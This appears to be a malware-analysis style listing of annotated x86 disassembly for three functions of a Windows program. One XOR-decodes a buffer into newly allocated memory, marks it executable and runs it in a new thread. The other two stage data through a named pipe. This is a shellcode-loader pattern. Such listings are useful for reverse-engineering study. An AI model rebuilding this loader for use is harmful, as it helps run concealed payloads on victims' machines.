Function at 0x40156c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp], 0
mov dword [esp + 4], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
sub esp, 0x10
xor eax, eax
cmp eax, ebx
jge 0x4015ba
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 3
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [esi + eax], dl
inc eax
jmp 0x40159f
mov dword [esp], esi
call fcn.00401539
lea eax, [ebp - 0xc]
mov dword [esp + 4], ebx
mov dword [esp], esi
mov dword [esp + 8], 0x20
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x401530
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x40161c
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0x4053e0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
dec eax
sub esp, 0x20
cmp eax, 0xfffffffd
ja 0x4016d9
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
push edx
push edx
je 0x4016d9
test esi, esi
jle 0x4016c4
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], 0
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
jne 0x4016d0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x4016d9
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x401699
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401700
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x4053e0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
sub esp, 0x1c
xor eax, eax
cmp esi, 0xffffffff
je 0x4017a4
test ebx, ebx
jle 0x40178a
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
jne 0x40179b
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, 1
jmp 0x4017a4
mov eax, dword [ebp - 0x1c]
add edi, eax
sub ebx, eax
jmp 0x40175f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret